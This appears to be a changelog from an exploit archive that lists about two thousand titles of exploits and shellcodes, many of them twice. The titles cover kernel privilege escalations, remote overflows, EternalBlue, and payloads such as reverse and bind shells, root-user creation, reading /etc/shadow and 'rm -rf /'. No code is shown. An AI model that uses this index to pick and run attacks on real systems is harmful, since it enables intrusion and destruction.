
1949 changes to exploits/shellcodes Bird Chat 1.61 - Denial of Service Quake 3 Engine Client (Windows x86) - CS_ITEms Remote Overflow Mercur IMAPD 5.00.14 (Windows x86) - Remote Denial of Service PHP 5.2.0 (Windows x86) - 'PHP_win32sti' Local Buffer Overflow PHP 5.2.0 (Windows x86) - 'PHP_iisfunc.dll' Local Buffer Overflow 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow (PoC) Apple Safari 3.2.3 (Windows x86) - JavaScript 'eval' Remote Denial of Service Apple Safari 4.0.3 (Windows x86) - 'CSS' Remote Denial of Service (1) Apple Safari 4.0.3 (Windows x86) - 'CSS' Remote Denial of Service (2) HP Data Protector Media Operations - Null Pointer Dereference Remote Denial of Service AnyDVD 6.7.1.0 - Denial of Service Microsoft Windows - Win32k Pointer Dereferencement (PoC) (MS10-098) Apple Safari - GdiDrawStream Blue Screen of Death Oracle VM VirtualBox 4.1 - Local Denial of Service Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service Microsoft Internet Explorer 9/10 - CFormElement Use-After-Free / Memory Corruption (PoC) (MS14-035) VMware Workstations 10.0.0.40273 - 'vmx86.sys' Arbitrary Kernel Read Linux Kernel 3.17.5 - IRET Instruction #SS Fault Handling Crash (PoC) Samba < 3.6.2 (x86) - Denial of Service (PoC) Adobe Flash (Linux x64) - Bad Dereference at 0x23c Adobe Flash - XMLSocket Destructor Not Cleared Before Setting User Data in connect Adobe Flash - Heap Buffer Overflow Loading '.FLV' File with Nellymoser Audio Codec Adobe Flash - Heap Buffer Overflow Due to Indexing Error When Loading FLV File Adobe Flash - Shared Object Type Confusion Adobe Flash - Heap Buffer Overflow Loading '.FLV' File with Nellymoser Audio Codec Adobe Flash - Heap Buffer Overflow Due to Indexing Error When Loading FLV File Adobe Flash - Shared Object Type Confusion ActiveState Perl.exe x64 Client 5.20.2 - Crash (PoC) Microsoft Windows Kernel - Bitmap Handling Use-After-Free (MS15-061) (2) Microsoft Windows Kernel - 'DeferWindowPos' Use-After-Free (MS15-073) Microsoft Windows Kernel - 'UserCommitDesktopMemory' Use-After-Free (MS15-073) Microsoft Windows Kernel - Pool Buffer Overflow Drawing Caption Bar (MS15-061) Microsoft Windows Kernel - 'HmgAllocateObjectAttr' Use-After-Free (MS15-061) Microsoft Windows Kernel - 'win32k!vSolidFillRect' Buffer Overflow (MS15-061) Microsoft Windows Kernel - 'SURFOBJ' Null Pointer Dereference (MS15-061) Microsoft Windows Kernel - Bitmap Handling Use-After-Free (MS15-061) (2) Microsoft Windows Kernel - 'DeferWindowPos' Use-After-Free (MS15-073) Microsoft Windows Kernel - 'UserCommitDesktopMemory' Use-After-Free (MS15-073) Microsoft Windows Kernel - Pool Buffer Overflow Drawing Caption Bar (MS15-061) Microsoft Windows Kernel - 'HmgAllocateObjectAttr' Use-After-Free (MS15-061) Microsoft Windows Kernel - 'win32k!vSolidFillRect' Buffer Overflow (MS15-061) Microsoft Windows Kernel - 'SURFOBJ' Null Pointer Dereference (MS15-061) Microsoft Windows Kernel - WindowStation Use-After-Free (MS15-061) Microsoft Windows Kernel - Null Pointer Dereference with Window Station and Clipboard (MS15-061) Microsoft Windows Kernel - Bitmap Handling Use-After-Free (MS15-061) (1) Microsoft Windows Kernel - 'FlashWindowEx' Memory Corruption (MS15-097) Microsoft Windows Kernel - 'bGetRealizedBrush' Use-After-Free (MS15-097) Microsoft Windows Kernel - Use-After-Free with Cursor Object (MS15-097) Microsoft Windows Kernel - Use-After-Free with Printer Device Contexts (MS15-097) Microsoft Windows Kernel - 'NtGdiStretchBlt' Pool Buffer Overflow (MS15-097) Microsoft Windows Kernel - WindowStation Use-After-Free (MS15-061) Microsoft Windows Kernel - Null Pointer Dereference with Window Station and Clipboard (MS15-061) Microsoft Windows Kernel - Bitmap Handling Use-After-Free (MS15-061) (1) Microsoft Windows Kernel - 'FlashWindowEx' Memory Corruption (MS15-097) Microsoft Windows Kernel - 'bGetRealizedBrush' Use-After-Free (MS15-097) Microsoft Windows Kernel - Use-After-Free with Cursor Object (MS15-097) Microsoft Windows Kernel - Use-After-Free with Printer Device Contexts (MS15-097) Microsoft Windows Kernel - 'NtGdiStretchBlt' Pool Buffer Overflow (MS15-097) Microsoft Windows Kernel - 'NtGdiBitBlt' Buffer Overflow (MS15-097) Tomabo MP4 Converter 3.10.12 < 3.11.12 - '.m3u' File Crush Application (Denial of Service) Google Chrome - open-vcdiff Out-of-Bounds Read in Browser Process Integer Overflow win32k Desktop and Clipboard - Null Pointer Dereference win32k Clipboard Bitmap - Use-After-Free win32k Desktop and Clipboard - Null Pointer Dereference win32k Clipboard Bitmap - Use-After-Free Adobe Flash Selection.SetSelection - Use-After-Free Adobe Flash Sound.setTransform - Use-After-Free Adobe Flash - Use-After-Free When Setting Stage Linux (x86) - Disable ASLR by Setting the RLIMIT_STACK Resource to Unlimited Microsoft Windows Kernel - DrawMenuBarTemp Wild-Write (MS16-039) Core FTP Server 32-bit Build 587 - Heap Overflow Microsoft Windows - Custom Font Disable Policy Bypass Wireshark 2.0.0 < 2.0.4 - CORBA IDL Dissectors Denial of Service Evostream Media Server 1.7.1 (x64) - Denial of Service Kentico CMS 11.0 - Buffer Overflow PyroBatchFTP < 3.19 - Buffer Overflow Microsoft Edge 38.14393.1066.0 - 'textarea.defaultValue' Memory Disclosure Navicat Premium 11.2.11 (x64) - Local Database Password Disclosure PrivateTunnel Client 2.7.0 (x64) - Local Credentials Disclosure Oracle 10g (Windows x86) - 'PROCESS_DUP_HANDLE' Local Privilege Escalation GIMP 2.2.14 (Windows x86) - '.ras' Download/Execute Buffer Overflow Notepad++ 4.1 (Windows x86) - '.ruby' File Processing Buffer Overflow Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation PHP 5.2.9 (Windows x86) - Local Safemod Bypass Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) HTMLDOC 1.9.x-r1629 (Windows x86) - '.html' Local Buffer Overflow RadASM - '.rap' file Local Buffer Overflow Mini-stream RM-MP3 Converter 3.1.2.1 - '.pls' Local Stack Buffer Overflow Universal Audiotran 1.4.2.4 - Local Overflow (SEH) Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1) Linux Kernel 4.6.3 (x86) - 'Netfilter' Local Privilege Escalation (Metasploit) VideoLAN VLC Client (Windows x86) - 'smb://' URI Buffer Overflow (Metasploit) QQPLAYER Player 3.2 - PICT PnSize Buffer Overflow Windows (ASLR + DEP Bypass) (Metasploit) PHP 5.4.3 (Windows x86 Polish) - Code Execution Microsoft Windows Kernel - Intel x64 SYSRET (MS12-042) Dropbox Desktop Client 9.4.49 (x64) - Local Credentials Disclosure Linux Kernel 3.3.x < 3.7.x (Arch Linux x86-64) - 'sock_diag_handlers[]' Local Privilege Escalation (1) Linux Kernel 3.7.10 (Ubuntu 12.10 x64) - 'sock_diag_handlers' Local Privilege Escalation (2) Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2) Novell Client 2 SP3 - 'nicm.sys' Local Privilege Escalation (Metasploit) Solaris Recommended Patch Cluster 6/19 (x86) - Local Privilege Escalation Nvidia (nvsvc) Display Driver Service - Local Privilege Escalation (Metasploit) Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32=y' Local Privilege Escalation (3) LogMeIn Client 1.3.2462 (x64) - Local Credentials Disclosure Systrace 1.x (x64) - Aware Linux Kernel Privilege Escalation Microsoft Windows - NTUserMessageCall Win32k Kernel Pool Overflow 'schlamperei.x86.dll' (MS13-053) (Metasploit) Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3) TeamViewer 11.0.65452 (x64) - Local Credentials Disclosure OpenVPN Private Tunnel Core Service - Unquoted Service Path Privilege Escalation Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation (Metasploit) Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation (Metasploit) Microsoft Bluetooth Personal Area Networking - 'BthPan.sys' Local Privilege Escalation (Metasploit) Microsoft Windows - OLE Package Manager Code Execution (MS14-060) (Metasploit) Offset2lib - Bypassing Full ASLR On 64 bit Linux Linux Kernel (x86-64) - Rowhammer Privilege Escalation Rowhammer - NaCl Sandbox Escape Linux Kernel (x86-64) - Rowhammer Privilege Escalation Rowhammer - NaCl Sandbox Escape Microsoft Windows 8.0/8.1 (x64) - 'TrackPopupMenu' Local Privilege Escalation (MS14-058) Linux espfix64 - Nested NMIs Interrupting Privilege Escalation Linux (x86) - Memory Sinkhole Privilege Escalation Linux espfix64 - Nested NMIs Interrupting Privilege Escalation Linux (x86) - Memory Sinkhole Privilege Escalation Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002) Microsoft Windows - Font Driver Buffer Overflow (MS15-078) (Metasploit) TrueCrypt 7 / VeraCrypt 1.13 - Drive Letter Symbolic Link Creation Privilege Escalation Microsoft Windows 8.1 - 'win32k' Local Privilege Escalation (MS15-010) MySQL 5.5.45 (x64) - Local Credentials Disclosure Microsoft Windows 7 SP1 (x86) - 'WebDAV' Local Privilege Escalation (MS16-016) (1) Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Secret Net 7 and Secret Net Studio 8 - Local Privilege Escalation Microsoft Windows 7 (x64) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032) ACROS Security 0patch 2016.05.19.539 - '0PatchServicex64.exe' Unquoted Service Path Privilege Escalation Microsoft Windows 7 SP1 (x86) - Local Privilege Escalation (MS16-014) Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation Street Fighter 5 - 'Capcom.sys' Kernel Execution (Metasploit) Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046) Microsoft Windows (x86) - 'NDISTAPI' Local Privilege Escalation (MS11-062) Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098) PCAUSA Rawether (ASUS PCE-AC56 WLAN Card Utilities Windows 10 x64) - Local Privilege Escalation Forticlient 5.2.3 (Windows 10 x64 Pre Anniversary) - Local Privilege Escalation Forticlient 5.2.3 (Windows 10 x64 Post Anniversary) - Local Privilege Escalation Forticlient 5.2.3 (Windows 10 x64 Pre Anniversary) - Local Privilege Escalation Forticlient 5.2.3 (Windows 10 x64 Post Anniversary) - Local Privilege Escalation Oracle VM VirtualBox 5.0.32 r112930 (x64) - Windows Process COM Injection Privilege Escalation Linux Kernel - 'offset2lib' Stack Clash Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap Stack Clash' Local Privilege Escalation Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation Linux Kernel - 'offset2lib' Stack Clash Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap Stack Clash' Local Privilege Escalation Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation Razer Synapse 2.20.15.1104 - rzpnk.sys ZwOpenProcess (Metasploit) Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) (2) Microsoft Windows 10 RS2 (x64) - 'win32kfull!bFill' Pool Overflow Microsoft Windows 10 Creators Update (version 1703) (x86) - 'WARBIRD' 'NtQuerySystemInformation ' Kernel Local Privilege Escalation BeroFTPD 1.3.4(1) (Linux x86) - Remote Code Execution Microsoft Windows (x86) - Metafile '.emf' Heap Overflow (MS04-032) Veritas NetBackup 6.0 (Windows x86) - 'bpjava-msvc' Remote Command Execution gpsdrive 2.09 (x86) - 'friendsd2' Remote Format String PrivateWire Gateway 3.7 (Windows x86) - Remote Buffer Overflow (Metasploit) dproxy-nexgen (Linux x86) - Remote Buffer Overflow Apache mod_rewrite (Windows x86) - Off-by-One Remote Overflow 3proxy 0.5.3g (Windows x86) - 'proxy.c logurl()' Remote Buffer Overflow 3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow (Perl) SapLPD 6.28 (Windows x86) - Remote Buffer Overflow Apache 2.0 mod_jk2 2.0.2 (Windows x86) - Remote Buffer Overflow Apache mod_jk 1.2.19 (Windows x86) - Remote Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH) 32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit) 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH) 32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit) Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe MsgBox()' Remote Code Execution Integard Home and Pro 2 - Remote HTTP Buffer Overflow Knox Arkeia Backup Client Type 77 (Windows x86) - Remote Overflow (Metasploit) Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit) Oracle 9i XDB (Windows x86) - FTP PASS Overflow (Metasploit) AASync 2.2.1.0 (Windows x86) - Remote Stack Buffer Overflow 'LIST' (Metasploit) 32bit FTP Client - Remote Stack Buffer Overflow (Metasploit) SHOUTcast DNAS/Win32 1.9.4 - File Request Format String Overflow (Metasploit) SHTTPD 1.34 (Windows x86) - URI-Encoded POST Request Overflow (Metasploit) Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit) Apache (Windows x86) - Chunked Encoding (Metasploit) McAfee ePolicy Orchestrator / ProtectionPilot - Remote Overflow (Metasploit) Apache (Windows x86) - Chunked Encoding (Metasploit) McAfee ePolicy Orchestrator / ProtectionPilot - Remote Overflow (Metasploit) PeerCast 0.1216 (Windows x86) - URL Handling Buffer Overflow (Metasploit) Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit) CA CAM (Windows x86) - 'log_security()' Remote Stack Buffer Overflow (Metasploit) Samba 3.3.12 (Linux x86) - 'chain_reply' Memory Corruption (Metasploit) Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit) Samba 3.3.12 (Linux x86) - 'chain_reply' Memory Corruption (Metasploit) Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit) WU-FTPD 2.4.2/2.5 .0/2.6.0 - Remote Format String Stack Overwrite (3) Nginx 1.3.9/1.4.0 (x86) - Brute Force Nginx 1.4.0 (Generic Linux x64) - Remote Overflow Oracle VM VirtualBox 4.3.6 - 3D Acceleration Virtual Machine Escape (Metasploit) Symantec Endpoint Protection Manager - Authentication Bypass / Code Execution (Metasploit) Symantec pcAnywhere 12.5.0 (Windows x86) - Remote Code Execution PCMan FTP Server 2.0.7 - 'RENAME' Remote Buffer Overflow (Metasploit) PCMan FTP Server 2.0.7 - 'ls' Remote Buffer Overflow (Metasploit) ALLMediaServer 0.95 - Buffer Overflow Microsoft Windows Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007) Rancher Server - Docker Daemon Code Execution (Metasploit) Unitrends UEB 9 - http api/storage Remote Root (Metasploit) Unitrends UEB 9 - bpserverd Authentication Bypass Remote Command Execution (Metasploit) Unitrends UEB 9 - http api/storage Remote Root (Metasploit) Unitrends UEB 9 - bpserverd Authentication Bypass Remote Command Execution (Metasploit) Microsoft Internet Explorer 11 (Windows 7 x86) - 'mshtml.dll' Remote Code Execution (MS17-007) PHP-Nuke 8.1 SEO Arabic - Remote File Inclusion Joomla! Component Elite Experts - SQL Injection Traidnt UP - Cross-Site Request Forgery (Add Admin) Allpc 2.5 osCommerce - SQL Injection / Cross-Site Scripting Infoblox 6.8.2.11 - OS Command Injection Xnami 1.0 - Cross-Site Scripting Taxi Booking Script 1.0 - Cross-site Scripting FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + Payload Loader + Return Results Null-Free Shellcode (90 bytes) FreeBSD/x86 - Reverse Connection (172.17.0.9:8000/TCP) + Receive Shellcode + Payload Loader + Return Results Null-Free Shellcode (90 bytes) FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes) FreeBSD/x86 - setuid(0) + execve(ipf -Fa) Shellcode (57 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes) Linux/MIPS (Linksys WRT54G/GL) - execve(_/bin/sh__[_/bin/sh_]_[]); Shellcode (60 bytes) Linux/MIPS - execve /bin/sh Shellcode (56 bytes) Linux/MIPS (Linksys WRT54G/GL) - execve(_/bin/sh__[_/bin/sh_]_[]) Shellcode (60 bytes) Linux/MIPS (Little Endian) - execve(/bin/sh) Shellcode (56 bytes) Linux/x86 - Self-Modifying Anti-IDS /bin/sh Shellcode (35/64 bytes) Linux/x86 - HTTP Server (8800/TCP) + Fork Shellcode (166 bytes) Linux/x86 - Bind TCP Listener (5555/TCP) + Receive Shellcode + Payload Loader Shellcode (83 bytes) Linux/x86 - Disable Network Card Polymorphic Shellcode (75 bytes) Linux/x86 - killall5 Polymorphic Shellcode (61 bytes) Linux/x86 - execve /bin/sh Polymorphic Shellcode (48 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) XOR Encoded Shellcode (152 bytes) Linux/x86 - reboot() Polymorphic Shellcode (57 bytes) Linux/x86 - chmod 666 /etc/shadow Polymorphic Shellcode (54 bytes) Linux/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh__0_0) Shellcode (34 bytes) Linux/x86 - Bind TCP Shell (8000/TCP) + Flush IPTables Rules (/sbin/iptables -F) Shellcode (176 bytes) Linux/x86 - Bind TCP Shell (8000/TCP) + Add Root User Shellcode (225+ bytes) Linux/x86 - Bind TCP /bin/sh Shell (8000/TCP) Shellcode (179 bytes) Linux/x86-64 - setuid(0) + execve(/bin/sh) Shellcode (49 bytes) Linux/x86 - Serial Port Shell Binding (/dev/ttyS0) + busybox Launching Null-Free Shellcode (82 bytes) Linux/x86 - File Unlinker Shellcode (18+ bytes) Linux/x86 - Perl Script Execution Shellcode (99+ bytes) Linux/x86 - Read /etc/passwd Shellcode (65+ bytes) Linux/x86 - chmod 666 /etc/shadow + exit(0) Shellcode (30 bytes) Linux/x86 - killall5 Shellcode (34 bytes) Linux/x86 - PUSH reboot() Shellcode (30 bytes) Linux/x86 - Self-Modifying Anti-IDS /bin/sh Shellcode (35/64 bytes) Linux/x86 - HTTP Server (8800/TCP) + Fork Shellcode (166 bytes) Linux/x86 - Bind TCP Listener (5555/TCP) + Receive Shellcode + Payload Loader Shellcode (83 bytes) Linux/x86 - Disable Network Card Polymorphic Shellcode (75 bytes) Linux/x86 - killall5 Polymorphic Shellcode (61 bytes) Linux/x86 - execve /bin/sh Polymorphic Shellcode (48 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) XOR Encoded Shellcode (152 bytes) Linux/x86 - reboot() Polymorphic Shellcode (57 bytes) Linux/x86 - chmod 666 /etc/shadow Polymorphic Shellcode (54 bytes) Linux/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh__0_0) Shellcode (34 bytes) Linux/x86 - Bind TCP Shell (8000/TCP) + Flush IPTables Rules (/sbin/iptables -F) Shellcode (176 bytes) Linux/x86 - Bind TCP Shell (8000/TCP) + Add Root User Shellcode (225+ bytes) Linux/x86 - Bind TCP /bin/sh Shell (8000/TCP) Shellcode (179 bytes) Linux/x86-64 - setuid(0) + execve(/bin/sh) Shellcode (49 bytes) Linux/x86 - Serial Port Shell Binding (/dev/ttyS0) + busybox Launching Null-Free Shellcode (82 bytes) Linux/x86 - File Unlinker Shellcode (18+ bytes) Linux/x86 - Perl Script Execution Shellcode (99+ bytes) Linux/x86 - Read /etc/passwd Shellcode (65+ bytes) Linux/x86 - chmod 666 /etc/shadow + exit(0) Shellcode (30 bytes) Linux/x86 - killall5 Shellcode (34 bytes) Linux/x86 - PUSH reboot() Shellcode (30 bytes) Linux/x86 - Reverse UDP tcpdump (54321/UDP) Live Packet Capture Shellcode (151 bytes) Linux/x86 - Append RSA key to /root/.ssh/authorized_keys2 Shellcode (295 bytes) Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access Shellcode (86 bytes) Linux/x86 - Promiscuous Mode Detector Shellcode (56 bytes) Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes) Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes) Linux/x86 - iopl(3); asm(cli); while(1){} Shellcode (12 bytes) Linux/x86 - System Beep Shellcode (45 bytes) Linux/x86 - ConnectBack (140.115.53.35:9999/TCP) + Download A File (cb) + Execute Shellcode (149 bytes) Linux/x86 - setreuid(geteuid_ geteuid) + execve(/bin/sh) Shellcode (39 bytes) Linux/x86 - Reverse TCP cat /etc/shadow (8192/TCP) Shellcode (155 bytes) Linux/x86 - Reverse PHP (Writes to /var/www/cb.php On The Filesystem) Shell Shellcode (508 bytes) Linux/x86 - /bin/rm -rf / + Attempts To Block The Process From Being Stopped Shellcode (132 bytes) Linux/x86 - setuid(0) + setgid(0) + aslr_off (Disable ASLR Security) Shellcode (79 bytes) Linux/x86 - Raw-Socket ICMP/Checksum /bin/sh Shell Shellcode (235 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (40 bytes) Linux/x86 - Kill All Processes Shellcode (11 bytes) Linux/x86 - execve read Shellcode (92 bytes) Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (40 bytes) Linux/x86 - Set System Time to 0 + exit Shellcode (12 bytes) Linux/x86 - Add Root User (r00t) To /etc/passwd Shellcode (69 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit Shellcode (36 bytes) Linux/x86 - Fork Bomb Shellcode (7 bytes) Linux/x86 - execve(rm -rf /) Shellcode (45 bytes) Linux/x86 - setuid(0) + execve /bin/sh Shellcode (28 bytes) Linux/x86 - execve /bin/sh Shellcode (22 bytes) Linux/x86 - Download File (HTTP/1.x http://0xdeadbeef/A) + execve() Null-Free Shellcode (111+ bytes) Linux/x86 - setreuid + Executes Command Shellcode (49+ bytes) Linux/x86 - stdin re-open + /bin/sh exec Shellcode (39 bytes) Linux/x86 - execve /bin/sh (Re-Use Of Strings In .rodata) Shellcode (16 bytes) Linux/x86 - setuid(0) + /bin/sh execve() Shellcode (30 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + setuid Shellcode (96 bytes) Linux/x86 - Bind TCP Shell (2707/TCP) Shellcode (84 bytes) Linux/x86 - execve Diassembly Obfuscation Shellcode (32 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (100 bytes) Linux/x86 - Reverse UDP tcpdump (54321/UDP) Live Packet Capture Shellcode (151 bytes) Linux/x86 - Append RSA key to /root/.ssh/authorized_keys2 Shellcode (295 bytes) Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access Shellcode (86 bytes) Linux/x86 - Promiscuous Mode Detector Shellcode (56 bytes) Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes) Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes) Linux/x86 - iopl(3) + asm(cli) + while(1){} Shellcode (12 bytes) Linux/x86 - System Beep Shellcode (45 bytes) Linux/x86 - Reverse Connection (140.115.53.35:9999/TCP) + Download A File (cb) + Execute Shellcode (149 bytes) Linux/x86 - setreuid(geteuid_ geteuid) + execve(/bin/sh) Shellcode (39 bytes) Linux/x86 - Reverse TCP cat /etc/shadow (8192/TCP) Shellcode (155 bytes) Linux/x86 - Reverse PHP (Writes to /var/www/cb.php On The Filesystem) Shell Shellcode (508 bytes) Linux/x86 - /bin/rm -rf / + Attempts To Block The Process From Being Stopped Shellcode (132 bytes) Linux/x86 - setuid(0) + setgid(0) + aslr_off (Disable ASLR Security) Shellcode (79 bytes) Linux/x86 - Raw-Socket ICMP/Checksum /bin/sh Shell Shellcode (235 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (40 bytes) Linux/x86 - Kill All Processes Shellcode (11 bytes) Linux/x86 - execve read Shellcode (92 bytes) Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (40 bytes) Linux/x86 - Set System Time to 0 + exit Shellcode (12 bytes) Linux/x86 - Add Root User (r00t) To /etc/passwd Shellcode (69 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit Shellcode (36 bytes) Linux/x86 - Fork Bomb Shellcode (7 bytes) Linux/x86 - execve(rm -rf /) Shellcode (45 bytes) Linux/x86 - setuid(0) + execve /bin/sh Shellcode (28 bytes) Linux/x86 - execve /bin/sh Shellcode (22 bytes) Linux/x86 - Download File (HTTP/1.x http://0xdeadbeef/A) + execve() Null-Free Shellcode (111+ bytes) Linux/x86 - setreuid + Executes Command Shellcode (49+ bytes) Linux/x86 - stdin re-open + /bin/sh exec Shellcode (39 bytes) Linux/x86 - execve /bin/sh (Re-Use Of Strings In .rodata) Shellcode (16 bytes) Linux/x86 - setuid(0) + /bin/sh execve() Shellcode (30 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + setuid Shellcode (96 bytes) Linux/x86 - Bind TCP Shell (2707/TCP) Shellcode (84 bytes) Linux/x86 - execve Diassembly Obfuscation Shellcode (32 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (100 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) (2) Linux/x86 - Reverse TCP Shell (127.0.0.1:80/TCP) XOR Encoded Shellcode (371 bytes) Linux/x86 - execve /bin/sh + '.ZIP' Header Shellcode (28 bytes) Linux/x86 - execve /bin/sh + '.RTF' Header Shellcode (30 bytes) Linux/x86 - execve /bin/sh + '.RIFF' Header Shellcode (28 bytes) Linux/x86 - execve /bin/sh + '.BMP' Bitmap Header Shellcode (27 bytes) Linux/x86 - Read SWAP + Write To /tmp/swr Shellcode (109 bytes) Linux/x86 - Read /tmp/sws + Store In SWAP Shellcode (99 bytes) Linux/x86 - Bind TCP /bin/sh Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes) Linux/x86 - Bind TCP /bin/sh Shell (64713/TCP) Shellcode (86 bytes) Linux/x86 - execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (25 bytes) Linux/x86 - execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (23 bytes) Linux/x86 - setuid(0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (31 bytes) Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh_ [/bin/sh_ NULL]) Shellcode (37 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes) Linux/x86 - Download File (HTTP/1.x http://127.0.0.1:8081/foobar.bin) + Receive Shellcode + Payload Loader Shellcode (68+ bytes) Linux/x86 - TCP Proxy (192.168.1.16:1280/TCP) All Connect() Null-Free Shellcode (236 bytes) Linux/x86 - execve /bin/sh Anti-IDS Shellcode (40 bytes) Linux/x86 (Intel x86 CPUID) - execve /bin/sh XORED Encoded Shellcode (41 bytes) Linux/x86 - execve /bin/sh Shellcode +1 Encoded (39 bytes) Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode 